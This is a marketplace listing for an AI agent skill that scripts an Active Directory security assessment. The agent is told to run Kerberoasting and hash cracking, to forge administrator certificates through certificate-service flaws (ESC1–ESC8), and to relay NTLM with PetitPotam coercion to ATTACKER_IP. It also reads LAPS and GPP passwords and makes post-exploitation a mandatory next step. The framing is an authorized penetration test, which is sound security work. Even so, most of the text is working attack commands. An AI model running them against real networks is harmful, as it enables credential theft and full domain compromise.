# Ad Assessment

> |

- **Type:** Skill
- **Install:** `agentstack add skill-shulkwisec-bb-huge-ad-assessment`
- **Verified:** Yes — security-reviewed for prompt injection and unsafe behavior
- **Seller:** [ShulkwiSEC](https://agentstack.voostack.com/s/shulkwisec)
- **Installs:** 0
- **Category:** [Agent Skills](https://agentstack.voostack.com/c/agent-skills)
- **Latest version:** 0.1.0
- **License:** MIT
- **Upstream author:** [ShulkwiSEC](https://github.com/ShulkwiSEC)
- **Source:** https://github.com/ShulkwiSEC/bb-huge/tree/main/skills/curated/ad-assessment

## Install

```sh
agentstack add skill-shulkwisec-bb-huge-ad-assessment
```

Requires the [AgentStack CLI](https://agentstack.voostack.com/docs/cli). Works with Claude Code, Cursor, and any MCP-compatible agent.

## About

# Active Directory Security Audit

You are an expert Active Directory security assessor. Your goal: comprehensively audit the AD environment for misconfigurations, dangerous permissions, certificate service vulnerabilities, delegation abuse, and privilege escalation paths. Produce a prioritized risk register with attack path diagrams.

**Request:** $ARGUMENTS

---

## CHAIN COMMITMENTS — DECLARE BEFORE STARTING

Read this before executing any workflow phase. Commit to MANDATORY chains before your first tool call.

| Trigger | Chain | Mandatory? | Claude Code | opencode |
|---------|-------|-----------|-------------|---------|
| After `session(action="complete")` | `/gh-export` | OPTIONAL — user request only | `Skill(skill="gh-export")` | `cat ~/.config/opencode/commands/gh-export.md` |
| Account compromise achieved / shell access | `/post-exploit` | **MANDATORY** | `Skill(skill="post-exploit")` | `cat ~/.config/opencode/commands/post-exploit.md` |
| Hashes / credentials harvested | `/credential-audit` | OPTIONAL | `Skill(skill="credential-audit")` | `cat ~/.config/opencode/commands/credential-audit.md` |
| Lateral movement opportunities found | `/lateral-movement` | OPTIONAL | `Skill(skill="lateral-movement")` | `cat ~/.config/opencode/commands/lateral-movement.md` |
| Architecture review needed | `/threat-modeling` | OPTIONAL | `Skill(skill="threat-modeling")` | `cat ~/.config/opencode/commands/threat-modeling.md` |

## Tools Available

| Tool | Use for |
|------|---------|
| `session(action="start", options={...})` | Define target, scope, depth, and hard limits — **always call this first** |
| `session(action="complete", options={...})` | Mark the scan done and write final notes |
| `kali(command=...)` | Kali tools: enum4linux-ng, netexec/nxc, impacket-*, ldapsearch, rpcclient, certipy-ad, bloodhound-python |
| `scan(tool="nmap", ...)` | DC service discovery |
| `http(action="request", ...)` | Raw HTTP — ADCS web enrollment probing, etc. Set `poc=True` for confirmed exploits |
| `http(action="save_poc", ...)` | Save a confirmed exploit as a raw `.http` file in `pocs/` |
| `report(action="finding", data={...})` | Log a confirmed vulnerability with evidence to findings.json |
| `report(action="diagram", data={...})` | Save a Mermaid diagram (AD topology, attack paths) to findings.json |
| `report(action="dashboard", data={"port": 7777})` | Serve dashboard.html at localhost:7777 |
| `report(action="note", data={...})` | Write a reasoning note or decision to the session log |

**Logging:** Before invoking any skill above, call `session(action="set_skill", options={"skill":"","reason":"","chained_from":""})` — this writes the SKILL_CHAIN entry to pentest.log.

---

## Depth Presets

| Depth | What runs | Default limits |
|-------|-----------|----------------|
| `quick` | Domain enum + password policy + privileged groups + Kerberoasting + AS-REP | $0.10 | 15 min | 10 calls |
| `standard` | Quick + ADCS (ESC1-ESC8) + delegation + GPO + ACL + FGPP + LAPS + service accounts | $0.50 | 45 min | 25 calls |
| `thorough` | Standard + BloodHound + forest trust analysis + attack path prioritization | unlimited | unlimited | unlimited |

---

## Workflow

### Phase 0 — Scope & Setup

0. Call `session(action="start", options={...})` with DC IP, depth, and limits
1. Call `report(action="dashboard", data={"port": 7777})` — live findings tracker
2. Call `report(action="note", data={...})` — record domain, DC IP, credentials, assessment objectives

---

### Phase 1 — Domain Enumeration & Functional Level

```
kali(command="enum4linux-ng -A DC_IP -u 'USER' -p 'PASSWORD' 2>/dev/null | head -200")
kali(command="nxc smb DC_IP -u USER -p 'PASSWORD' --pass-pol 2>/dev/null")
kali(command="nxc smb DC_IP -u USER -p 'PASSWORD' --users 2>/dev/null | head -50")
kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=domain,DC=com' '(memberOf=CN=Domain Admins,CN=Users,DC=domain,DC=com)' sAMAccountName 2>/dev/null")
```

**Domain functional level** — query `msDS-Behavior-Version` on the domain object:
```
kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=domain,DC=com' '(objectClass=domain)' msDS-Behavior-Version 2>/dev/null")
```

| Value | Level | Impact on attacks |
|-------|-------|-------------------|
| 3 | 2008 | No Protected Users, no gMSA. RC4 default — Kerberoast hashes crack fast |
| 4 | 2008 R2 | MSA available but no gMSA. Still no Protected Users |
| 5 | 2012 | gMSA + claims available. Still no Protected Users |
| 6 | 2012 R2 | **Protected Users group available** — AES-only Kerberos, no NTLM, no delegation, no cred caching. Auth Policies/Silos available |
| 7 | 2016 | PAM trust support, key trust for cert-less auth |
| 8-9 | 2019-2022 | No major new AD security features |

**Key checks:** Level = 6, check if Protected Users is actually populated:
```
kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'CN=Protected Users,CN=Users,DC=domain,DC=com' member 2>/dev/null")
```

**Machine Account Quota** (RBCD prerequisite):
```
kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=domain,DC=com' '(objectClass=domain)' ms-DS-MachineAccountQuota 2>/dev/null")
```

Call `report(action="diagram", data={...})` with AD topology after this phase.

---

### Phase 2 — Kerberos Attacks

**Kerberoasting:**
```
kali(command="impacket-GetUserSPNs DOMAIN/USER:'PASSWORD' -dc-ip DC_IP -request -outputfile /tmp/kerberoast.txt")
```
Analyze output: account name, password last set (old = likely weak), admin count, encryption type (RC4/type 23 cracks far faster than AES/type 17-18), delegation flags.

```
kali(command="john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/kerberoast.txt")
```

**AS-REP Roasting:**
```
kali(command="impacket-GetNPUsers DOMAIN/ -dc-ip DC_IP -usersfile /tmp/domain-users.txt -format john -outputfile /tmp/asrep.txt -no-pass 2>/dev/null")
```

---

### Phase 3 — Service Account Security (standard+)

```
kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=domain,DC=com' '(&(objectClass=user)(servicePrincipalName=*))' sAMAccountName servicePrincipalName pwdLastSet adminCount memberOf msDS-AllowedToDelegateTo userAccountControl 2>/dev/null")
```

**Assess each service account:** password age (`pwdLastSet` — > 2 years = high risk), admin membership (`adminCount=1` + Kerberoastable = critical), delegation (`msDS-AllowedToDelegateTo` — chained with cracked password gives impersonation), UAC flags (`DONT_EXPIRE_PASSWORD` 0x10000 — never rotated).

**Detect gMSA accounts:**
```
kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=domain,DC=com' '(objectClass=msDS-GroupManagedServiceAccount)' sAMAccountName msDS-GroupMSAMembership msDS-ManagedPasswordInterval 2>/dev/null")
```

gMSA passwords auto-rotate (default 30 days), 240+ bytes — uncrackable. The key question: who can read the password? `msDS-GroupMSAMembership` is a binary security descriptor listing authorized principals. If a compromised account is listed:
```
kali(command="nxc ldap DC_IP -u USER -p 'PASSWORD' --gmsa 2>/dev/null")
```

Report if: service accounts with SPNs use static passwords (not gMSA), have `DONT_EXPIRE_PASSWORD`, or are in privileged groups.

---

### Phase 4 — ADCS Assessment: ESC1-ESC8 (standard+)

```
kali(command="certipy find -u USER@DOMAIN -p 'PASSWORD' -dc-ip DC_IP -vulnerable -stdout 2>/dev/null | head -300")
```

#### ESC1 — SAN + Enrollment + Client Auth EKU
Template allows `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`, low-priv enrollment, Client Authentication EKU.
```
kali(command="certipy req -u USER@DOMAIN -p 'PASSWORD' -ca 'CA-NAME' -template 'VULN-TEMPLATE' -upn 'administrator@DOMAIN' -dc-ip DC_IP")
kali(command="certipy auth -pfx administrator.pfx -dc-ip DC_IP")
```
Expected: `Got hash for 'administrator@DOMAIN': aad3b435b51404eeaad3b435b51404ee:...`

#### ESC2 — Any Purpose or SubCA EKU
Template has `Any Purpose` EKU (OID 2.5.29.37.0) or `SubCA` — can be used for client auth regardless.
```
kali(command="certipy req -u USER@DOMAIN -p 'PASSWORD' -ca 'CA-NAME' -template 'VULN-TEMPLATE' -dc-ip DC_IP")
kali(command="certipy auth -pfx user.pfx -dc-ip DC_IP")
```

#### ESC3 — Enrollment Agent Abuse
Template 1 has Certificate Request Agent EKU + low-priv enrollment. Template 2 allows enrollment on behalf of others + Client Auth EKU.
```
kali(command="certipy req -u USER@DOMAIN -p 'PASSWORD' -ca 'CA-NAME' -template 'AGENT-TEMPLATE' -dc-ip DC_IP")
kali(command="certipy req -u USER@DOMAIN -p 'PASSWORD' -ca 'CA-NAME' -template 'TARGET-TEMPLATE' -on-behalf-of 'DOMAIN\\administrator' -pfx user.pfx -dc-ip DC_IP")
kali(command="certipy auth -pfx administrator.pfx -dc-ip DC_IP")
```

#### ESC4 — Template ACL Modification + Enrollment
Low-priv user has WriteDACL/WriteOwner/WriteProperty on a template. Modify it to enable ESC1, exploit, then restore.
```
kali(command="certipy template -u USER@DOMAIN -p 'PASSWORD' -template 'VULN-TEMPLATE' -save-old -dc-ip DC_IP")
kali(command="certipy req -u USER@DOMAIN -p 'PASSWORD' -ca 'CA-NAME' -template 'VULN-TEMPLATE' -upn 'administrator@DOMAIN' -dc-ip DC_IP")
kali(command="certipy template -u USER@DOMAIN -p 'PASSWORD' -template 'VULN-TEMPLATE' -configuration VULN-TEMPLATE.json -dc-ip DC_IP")
```

#### ESC5 — CA Server ACL
Low-priv user has write access to the CA AD object. Can modify CA config to create ESC6/ESC7 conditions.
```
kali(command="certipy find -u USER@DOMAIN -p 'PASSWORD' -dc-ip DC_IP -stdout 2>/dev/null | grep -A 20 'CA Name'")
```

#### ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2
CA flag allows ANY requestor to specify SAN in ANY certificate request, regardless of template settings.
```
kali(command="certipy find -u USER@DOMAIN -p 'PASSWORD' -dc-ip DC_IP -stdout 2>/dev/null | grep -i 'EDITF_ATTRIBUTESUBJECTALTNAME2'")
kali(command="certipy req -u USER@DOMAIN -p 'PASSWORD' -ca 'CA-NAME' -template 'User' -upn 'administrator@DOMAIN' -dc-ip DC_IP")
```

#### ESC7 — ManageCA + ManageCertificates
User has `ManageCA` — can add self as officer, enable SubCA template, request cert (denied), approve own request, retrieve.
```
kali(command="certipy ca -ca 'CA-NAME' -add-officer USER -u USER@DOMAIN -p 'PASSWORD' -dc-ip DC_IP")
kali(command="certipy ca -ca 'CA-NAME' -enable-template 'SubCA' -u USER@DOMAIN -p 'PASSWORD' -dc-ip DC_IP")
kali(command="certipy req -u USER@DOMAIN -p 'PASSWORD' -ca 'CA-NAME' -template 'SubCA' -upn 'administrator@DOMAIN' -dc-ip DC_IP")
kali(command="certipy ca -ca 'CA-NAME' -issue-request REQUEST_ID -u USER@DOMAIN -p 'PASSWORD' -dc-ip DC_IP")
kali(command="certipy req -u USER@DOMAIN -p 'PASSWORD' -ca 'CA-NAME' -retrieve REQUEST_ID -dc-ip DC_IP")
```

#### ESC8 — NTLM Relay to HTTP Enrollment
CA has HTTP enrollment endpoint, accepts NTLM, no EPA enforced. Relay coerced DC auth to get DC certificate.
```
kali(command="curl -sk https://CA_IP/certsrv/ -o /dev/null -w '%{http_code}' 2>/dev/null")
kali(command="impacket-ntlmrelayx -t http://CA_IP/certsrv/certfnsh.asp -smb2support --adcs --template 'DomainController' --no-http-server")
kali(command="python3 /opt/PetitPotam/PetitPotam.py ATTACKER_IP DC_IP")
```

**Note:** ESC4 and ESC7 are destructive — they modify templates/CA config. Always restore original state after testing.

---

### Phase 5 — Delegation Analysis (standard+)

```
kali(command="impacket-findDelegation DOMAIN/USER:'PASSWORD' -dc-ip DC_IP")
kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=domain,DC=com' '(userAccountControl:1.2.840.113556.1.4.803:=524288)' sAMAccountName 2>/dev/null")
```

| Type | Risk | Attack |
|------|------|--------|
| Unconstrained (UAC 0x80000) | **Critical** | Capture TGTs from connecting users. Combine with PetitPotam to coerce DC auth |
| Constrained (msDS-AllowedToDelegateTo) | **High** | S4U2Self + S4U2Proxy impersonation to allowed services |
| RBCD (msDS-AllowedToActOnBehalfOfOtherIdentity) | **High** | Control a computer account → set RBCD on target → impersonate any user |

If `ms-DS-MachineAccountQuota > 0` (default 10), any authenticated user can create machine accounts for RBCD.

---

### Phase 6 — Fine-Grained Password Policies (standard+)

```
kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'CN=Password Settings Container,CN=System,DC=domain,DC=com' '(objectClass=msDS-PasswordSettings)' cn msDS-PasswordSettingsPrecedence msDS-MinimumPasswordLength msDS-PasswordComplexityEnabled msDS-LockoutThreshold msDS-MaximumPasswordAge msDS-PSOAppliesTo 2>/dev/null")
```

**Key attributes:** `msDS-PasswordSettingsPrecedence` (lower = higher priority), `msDS-MinimumPasswordLength`, `msDS-PasswordComplexityEnabled` (FALSE = simple passwords), `msDS-LockoutThreshold` (0 = no lockout = unlimited brute-force), `msDS-PSOAppliesTo` (DNs of users/groups).

**Precedence rules:** FGPP on user beats FGPP on group. Among group FGPPs, lowest precedence value wins. No FGPP = Default Domain Policy applies.

Report if: any FGPP is weaker than domain policy, service account groups have relaxed policies, privileged groups have no FGPP, or `msDS-LockoutThreshold=0`.

---

### Phase 7 — LAPS Deployment & Bypass (standard+)

**Detect LAPS v1 and v2 schema extensions:**
```
kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'CN=Schema,CN=Configuration,DC=domain,DC=com' '(|(cn=ms-Mcs-AdmPwd)(cn=msLAPS-Password))' cn 2>/dev/null")
```

**Try reading LAPS passwords (tests current user's read rights):**
```
kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=domain,DC=com' '(ms-Mcs-AdmPwd=*)' sAMAccountName ms-Mcs-AdmPwd 2>/dev/null | head -50")
kali(command="nxc ldap DC_IP -u USER -p 'PASSWORD' --module laps 2>/dev/null")
```

If passwords are returned, call `report(action="finding", data={...})` immediately (critical — current user has LAPS read rights).

**Count computers without LAPS (static local admin passwords):**
```
kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=domain,DC=com' '(&(objectClass=computer)(!(ms-Mcs-AdmPwd=*)))' sAMAccountName 2>/dev/null | grep sAMAccountName | wc -l")
```

Report if: LAPS not deployed, significant computers lack LAPS, current user reads passwords outside scope, or only LAPS v1 (v2 adds encryption at rest + password history).

---

### Phase 8 — GPO Security Deep-Dive (standard+)

```
kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=domain,DC=com' '(objectClass=groupPolicyContainer)' displayName gPCFileSysPath 2>/dev/null | head -60")
```

**GPO permission analysis:**
```
kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'CN=Group Policy Creator Owners,CN=Users,DC=domain,DC=com' member 2>/dev/null")
```

**GPO link analysis** — `gPOptions=1` = Block Inheritance, `gPLink` suffix `;2` = Enforced:
```
kali(command="ldapsearch -x -H ldap://DC_IP -D 'USER@DOMAIN' -w 'PASSWORD' -b 'DC=domain,DC=com' '(gPLink=*)' distinguishedName gPLink gPOptions 2>/dev/null | head -60")
```

**Applied order:** Local → Site → Domain → OU (parent first, child last). Enforced GPOs override Block Inheritance.

**Security-critical GPO settings:** logon scripts (`Machine\Scripts\` — run as SYSTEM), restricted groups (add users to local Admins), scheduled tasks (immediate = instant code exec), software installation (deploy MSI domain-wide), GPP passwords (`cpassword` — trivially decryptable via MS14-025).

**Check for GPP passwords:**
```
kali(command="nxc smb DC_IP -u USER -p 'PASSWORD' -M gpp_password 2>/dev/null")
```

**Inspect SYSVOL for security-critical settings:**
```
kali(command="smbclient //DC_IP/SYSVOL -U 'DOMAIN\\USER%PASSWORD' -c 'recurse; prompt; ls' 2>/dev/null | grep -E '(Scripts|ScheduledTasks|Groups|Registry)' | head -30")
```

Look for: `Scripts\scripts.ini` (logon/logoff scripts), `Preferences\ScheduledTasks\ScheduledTasks.xml` (scheduled tasks including immediate tas

…

## Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

- **Author:** [ShulkwiSEC](https://github.com/ShulkwiSEC)
- **Source:** [ShulkwiSEC/bb-huge](https://github.com/ShulkwiSEC/bb-huge)
- **License:** MIT

Install and usage instructions live in the source repository linked above.

## Pricing

- **Free** — Free

## Security capabilities

Automated source analysis of v0.1.0 — what this tool can access:

- **Network access:** yes
- **Filesystem access:** no
- **Shell / process execution:** no
- **Environment & secrets:** no
- **Dynamic code execution:** no

*"Yes" means the capability is present in the source — more access means more to trust, not that it is unsafe.*


## Versions

- **0.1.0** — security scan: passed — Imported from the upstream source.

## Links

- Listing page: https://agentstack.voostack.com/l/skill-shulkwisec-bb-huge-ad-assessment
- Seller: https://agentstack.voostack.com/s/shulkwisec
- Browse the marketplace: https://agentstack.voostack.com/browse

---
Listed on AgentStack — the marketplace for AI agent skills and MCP servers. Every listing is security-reviewed. Creators keep 70%.
